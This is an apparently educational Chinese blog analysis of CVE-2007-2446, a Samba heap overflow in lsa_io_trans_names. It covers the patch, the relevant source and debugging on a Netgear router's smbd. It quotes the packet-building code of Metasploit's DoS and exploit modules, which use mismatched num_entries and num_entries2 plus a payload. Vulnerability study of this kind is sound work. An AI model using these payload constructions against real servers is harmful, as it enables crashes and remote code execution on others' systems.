文章目錄
  1. 1. 补丁分析
  2. 2. 源码分析和动态调试

之前翻译的【翻译】netgear WNR2200的一个heap overflow漏洞利用文中讲解samba堆溢出的利用。其实利用的漏洞是cve-2007-2446中的一个堆溢出漏洞。但是并没有详细讲解漏洞的成因以及具体的exploit调试过程。这个漏洞也比较早了,网上并没有详细的漏洞分析,只能找到cve的相关描述信息。所以这里为了学习的目的从代码层面分析一下这个漏洞和相关exploit的原理。

CVE-2007-2446: Multiple Heap Overflows Allow Remote Code Execution包括5个不同的堆溢出漏洞,metasploit中的exploit利用的是lsa_io_trans_names函数中的那个漏洞。

补丁分析

根据现有信息可以找到github上,samba修补这个漏洞的代码。r22852: merge fixes for CVE-2007-2446 and CVE-2007-2447 to all branches

根据漏洞描述可以定位到如下代码。

最终可以确定,lsa_io_trans_names里的堆溢出补丁为:

增加

if (trn->num_entries2 != trn->num_entries) { 

/* RPC fault */
return False; 
} 

增加了num_entries2和num_entries的比较,如果不相同,就返回false,避免继续执行。后面的PRS_ALLOC_MEM函数中的num_entries参数修改为了num_entries2。按照漏洞产生的原理来看,前面判断了num_entries和num_entries2相等才会进入后面的逻辑,所以这里既是不改对程序的运行结果也是不影响的。

根据漏洞描述,猜测漏洞成因是先根据num_entries分配堆内存大小,然后写入数据的时候根据num_entries2来写入数据,如果num_entries2大于num_entries就会导致溢出,堆上数据被覆盖。而num_entries和num_entries2都是用户可控的数据。

源码分析和动态调试

猜测 PRS_ALLOC_MEM是分配内存的函数,跟进源码:

#define PRS_ALLOC_MEM(ps, type, count) (type *)prs_alloc_mem_((ps),sizeof(type),(count))

char *prs_alloc_mem_(prs_struct *ps, size_t size, unsigned int count);


/*******************************************************************
Allocate memory when unmarshalling... Always zero clears.
********************************************************************/

#if defined(PARANOID_MALLOC_CHECKER)
char *prs_alloc_mem_(prs_struct *ps, size_t size, unsigned int count)
#else
char *prs_alloc_mem(prs_struct *ps, size_t size, unsigned int count)
#endif
{
    char *ret = NULL;

    if (size) {
        /* We can't call the type-safe version here. */
        ret = _talloc_zero_array(ps->mem_ctx, size, count, "parse_prs");
    }
    return ret;
}
/*
alloc an zero array, checking for integer overflow in the array size
*/
void *_talloc_zero_array(const void *ctx, size_t el_size, unsigned count, const char *name)
{
    if (count >= MAX_TALLOC_SIZE/el_size) {
        return NULL;
    }
    return _talloc_zero(ctx, el_size * count, name);
}


/*
talloc and zero memory.
*/
void *_talloc_zero(const void *ctx, size_t size, const char *name)
{
    void *p = talloc_named_const(ctx, size, name);

    if (p) {
        memset(p, '\0', size);
    }

    return p;
}

分配内存,初始化为\0。使用netgear wnr2000的中samba进行动态调试分析。samba版本为3.0.24。使用metasploit中的auxiliary/dos/samba/lsa_transnames_heap进行验证。

抓取metasploit发送的数据包,可以看到最后一个smb协议的包如下:

该metasploit模块的核心代码如下:

print_status("Connecting to the SMB service...")
connect()
smb_login()

datastore['DCERPC::fake_bind_multi'] = false

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

stub = lsa_open_policy(dcerpc)
stub << NDR.long(0)
stub << NDR.long(0)
stub << NDR.long(1)
stub << NDR.long(0x20004)
stub << NDR.long(0x100)
stub << ("X" * 16) * 0x100
stub << NDR.long(1)
stub << NDR.long(0)

print_status("Calling the vulnerable function...")

对比利用程序的源码/usr/share/metasploit-framework/modules/exploits/linux/samba/lsa_transnames_heap.rb 。

stub = lsa_open_policy(dcerpc)

stub << NDR.long(0)            # num_entries
stub << NDR.long(0)            # ptr_sid_enum
stub << NDR.long(num_entries)  # num_entries
stub << NDR.long(0x20004)      # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded

以上代码来自exploit。根据注释可以假设,在dos module中num_entries值为1,num_entries值为100。

将smbd导入IDA,搜索function name,只能找到lsa_io_q_lookup_sids,根据源码,可以找到

LOAD:76DE2888                 addiu   $a0, (aNames - 0x76F6C000)  # "names  "
LOAD:76DE288C                 lw      $t9, -0x7F58($gp)
LOAD:76DE2890                 addiu   $t9, (sub_76DE248C - 0x76DDC000)
LOAD:76DE2894                 jalr    $t9

处为调用lsa_io_trans_names。在76DE2888处下断点,跟进函数。

之后一路F8,来到PRS_ALLOC_MEM的调用处。

查看寄存器传递的函数参数:

$a2的值为1,这也确认了metasploit dos 模块中定义的num_entries值为1。

执行完分配内存,查看寄存器$v0获得返回的地址为:761AF208

对比源代码:

if (UNMARSHALLING(ps)) { 

if ((trn->name = PRS_ALLOC_MEM(ps, LSA_TRANS_NAME, trn->num_entries2)) == NULL) { 
return False; 
} 
if ((trn->uni_name = PRS_ALLOC_MEM(ps, UNISTR2, trn->num_entries2)) == NULL) { 
return False; 
} 
} 
for (i = 0; i < trn->num_entries2; i++) { 
fstring t; 
slprintf(t, sizeof(t) - 1, "name[%d] ", i); 
if(!lsa_io_trans_name(t, &trn->name[i], ps, depth)) /* translated name */
return False; 

之后进入lsa_io_trans_name函数

Reads or writes a LSA_TRANS_NAME structure.
********************************************************************/
static BOOL lsa_io_trans_name(const char *desc, LSA_TRANS_NAME *trn, prs_struct *ps, 
int depth) 
{ 
prs_debug(ps, depth, desc, "lsa_io_trans_name"); 
depth++; 
if(!prs_align(ps)) 
return False; 
if(!prs_uint16("sid_name_use", ps, depth, &trn->sid_name_use)) 
return False; 
if(!prs_align(ps)) 
return False; 
if(!smb_io_unihdr ("hdr_name", &trn->hdr_name, ps, depth)) 
return False; 
if(!prs_uint32("domain_idx ", ps, depth, &trn->domain_idx)) 
return False; 
return True; 
} 

动态调试发现,prs_unit16,smb_io_unihdr,prs_uint32,这里都会解析数据写入761AF208。一次循环写入16个字节。而dos 模块中设置的num_entries2是100。循环100次,导致堆溢出。

图为执行完循环,堆内存被破坏。

文章目錄
  1. 1. 补丁分析
  2. 2. 源码分析和动态调试